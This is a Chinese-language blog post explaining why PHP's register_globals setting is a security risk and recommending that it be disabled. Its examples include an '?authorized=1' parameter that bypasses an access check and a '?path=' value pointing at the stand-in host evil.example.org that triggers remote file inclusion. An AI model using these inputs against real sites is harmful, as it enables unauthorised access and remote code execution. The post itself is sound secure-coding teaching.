register_globals参数在 php 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞,但是的确是一个安全风险。因此,应该始终在开发过程中屏蔽register_globals。

为什么这是一个安全风险?每一种情形都需要的单独说明才能描述清楚,对于所有情形只给出一个恰当的例子是非常困难的。不管怎样,最常见的例子是在PHP手册中描述的:

<?php
if (authenticated_user()){
    $authorized = true;
}
if ($authorized){
    include'/highly/sensitive/data.php';
}
?>

当参数register_globals开启的时候,这个页面可以使用?authorized=1的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,而不是register_globals的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,普通的全局变量(比如本例中的$authorized)将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且将参数error_reporting设置为E_ALL,这样使用未初始化的变量就不会在开发的时候被忽略。

另外一个关于register_globals的例子是在使用include包含动态路径的时候可能产生问题:

<?php
include"$path/script.php";
?>

当参数register_globals开启的时候,这个页面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的参数访问,使得本例中的代码和下面的代码等同:

<?php
include 'http://evil.example.org/?/script.php';
?>

如果参数allow_url_fopen开启的时候(即便是在php.ini-recommended中,默认也是开启的),这将如同包含本地文件一般包含http://evil.example.org/这样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的开源项目中都发现。

初始化$path可以避免这个隐患,而且不用屏蔽参数register_globals。然而开发人员的失误可能会产生没有初始化的变量,修改全局配置以屏蔽参数register_globals可以尽可能的避免这种隐患被忽视。

便利性总是另人愉快的,过去我们不得不手工区分哪些是表单数据,哪些是普通变量。而使用$_POST和$_GET内建全局数组也是非常方便的,并且承担因为开启参数register_globals造成的风险很不值得。虽然我完全不同意将开启参数register_globals等同于薄弱的安全,但是我还是强烈建议将其设置为关闭。

需要补充说明的是,屏蔽参数register_globals会帮助开发人员更加留意数据的来源,而这正是一个有安全意识的开发人员所应该具备的素质。

发表评论

电子邮件地址不会被公开。 必填项已用*标注